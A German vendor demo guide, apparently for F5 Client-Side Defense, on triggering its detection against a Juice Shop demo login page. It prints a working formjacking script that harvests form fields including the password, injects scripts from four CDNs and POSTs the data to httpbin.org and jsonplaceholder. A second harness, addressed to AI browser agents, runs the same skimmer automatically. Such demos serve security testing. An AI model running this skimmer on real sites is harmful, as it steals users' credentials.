Zum Inhalt springen

Auslösungserkennung

CSD überwacht das JavaScript-Verhalten im Browser. Im Gegensatz zur Web-App-Firewall (WAF) oder Bot-Abwehr Standard kann die CSD-Erkennung nicht mit curl-Befehlen ausgelöst werden — sie erfordert echte browserseitige Skriptaktivität. Das folgende kombinierte Skript löst alle drei CSD-Erkennungssignale in einer einzigen Ausführung aus: Formularfeld-Erfassung, Drittanbieter-Skripteinschleusung von mehreren CDN-Domänen und Datenexfiltration zu externen Endpunkten.

  1. Navigieren Sie zur Juice Shop Anmeldeseite unter https://botdemo.sales-demo.f5demos.com/#/login

  2. Geben Sie Testanmeldedaten in die Formularfelder ein — tippen Sie test@example.com in das Feld E-Mail und P@ssword123 in das Feld Passwort (das Formular nicht absenden)

  3. Öffnen Sie die Entwicklertools (F12 → Registerkarte Konsole)

    Leere Entwicklertools-Konsole bereit für die SkripteingabeLeere Entwicklertools-Konsole bereit für die Skripteingabe
  4. Fügen Sie das folgende Skript in die Konsole ein und drücken Sie Enter — es wird automatisch als selbstausführende Funktion gestartet

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. Beobachten Sie die phasenweise [CSD Demo]-Konsolenausgabe, die jeden Schritt bestätigt: Felderfassung, Skripteinschleusung von 4 CDN-Domänen und Datenexfiltration. esm.sh liefert ES-Modulsyntax (export default …) — wenn diese als klassisches <script>-Tag geladen wird, verursacht dies Uncaught SyntaxError: Cannot use import statement outside a module. Dies ist zu erwarten und beeinträchtigt die CSD-Erkennung nicht (das Script-Tag wird weiterhin eingeschleust und die Netzwerkanfrage wird dennoch gestellt)

    Konsolenausgabe nach Ausführung des SimulationsskriptsKonsolenausgabe nach Ausführung des Simulationsskripts

KI-Assistenten mit Browser-Automatisierungswerkzeugen (MCP Chrome DevTools, Playwright, Puppeteer) führen die Simulation programmatisch aus, anstatt die obigen manuellen Schritte zu befolgen:

  1. Mit initScript navigieren — navigieren Sie zunächst zu about:blank, um einen sauberen Dokumentkontext zu gewährleisten, dann mit navigate_page zur Anmelde-URL (z. B. http://$F5XC_DOMAINNAME/#/login) mit einem initScript, das native setInterval-, clearInterval-, fetch- und console.log-Referenzen speichert, bevor zone.js diese patcht, auf die Anmeldeformularfelder wartet, Anmeldedaten über den nativen HTMLInputElement.prototype.value-Setter einträgt und das kombinierte Erkennungsskript sofort inline ausführt. Verwenden Sie das nachstehende initScript wörtlich.
  2. Willkommensbanner schließenpress_key mit Escape, um das Willkommensbanner zu schließen. Bei nachfolgenden Besuchen erscheint das Banner möglicherweise nicht (Cookies wurden gespeichert)
  3. Auf Abschluss warten — 10 Sekunden warten, bis alle CDN-Skript-Lade-/Fehler-Callbacks und Fetch-Promise-Auflösungen abgeschlossen sind
  4. Nachweise erfassenlist_console_messages prüfen auf [CSD Demo] Simulation complete; list_network_requests gefiltert nach script- und fetch-Typen, um HTTP-Statuscodes zu verifizieren

initScript-Harness (wörtlich — umschließt das kombinierte Erkennungsskript für die automatisierte Ausführung):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Hinweis zu nativem fetch: Dieser Harness speichert window.fetch.bind(window), um zone.js-Fehler zu vermeiden. Dies ist das korrekte Verhalten für alle Angriffssimulationsphasen. Die CSD-Mitigation blockiert das Laden von Skripten (indem src-Werte von <script>-Tags geleert werden), nicht fetch()-Aufrufe, daher beeinflusst das Speichern der nativen Fetch-Referenz das Mitigationsverhalten nicht. Dasselbe initScript wird für Phase 2 und Phase 3 verwendet.

Operatoren ohne Browser-Automatisierungswerkzeuge verwenden die obigen manuellen Schritte.

Die kombinierte Simulation löst alle drei CSD-Erkennungssignale aus:

VerhaltenWas das Skript tutWas CSD erkennt
FelderfassungLiest Werte aus vorhandenen input-Elementen (E-Mail, Passwort)Skripte, die sensible Formularfelder auslesen — als hohes Risiko eingestuft
SkripteinschleusungFügt 4 <script>-Tags hinzu, die von cdn.jsdelivr.net, esm.sh, unpkg.com und ga.jspm.io laden4 neue Drittanbieter-Skriptdomänen auf der Seite
DatenexfiltrationSendet erfasste Daten per fetch an www.httpbin.org und jsonplaceholder.typicode.comNetzwerkaufrufe an externe Domänen (Hinweis: Fetch-Ziele erscheinen als Skript-Netzwerkinteraktionen, nicht in der Netzwerkdomänenansicht)

Das obige kombinierte Skript ist eine vereinfachte 3-Phasen-Version (Erfassung, Einschleusung, Exfiltration), die für die meisten Demos geeignet ist. Die Angriffsskript-Bibliothek stellt 10 zielgerichtete Skripte bereit, die nach Angriffstyp geordnet sind, darunter einen Maximale Erkennung-Stresstest, der DOM-Manipulation, Cookie-Exfiltration und Image-Beacon-Kanäle zusätzlich zur Abdeckung des kombinierten Skripts hinzufügt. Verwenden Sie die einzelnen Skripte, um spezifische Angriffskategorien (Formjacking, digitales Skimming, Supply-Chain-Einschleusung, Datenexfiltration, DOM-Manipulation) isoliert zu demonstrieren.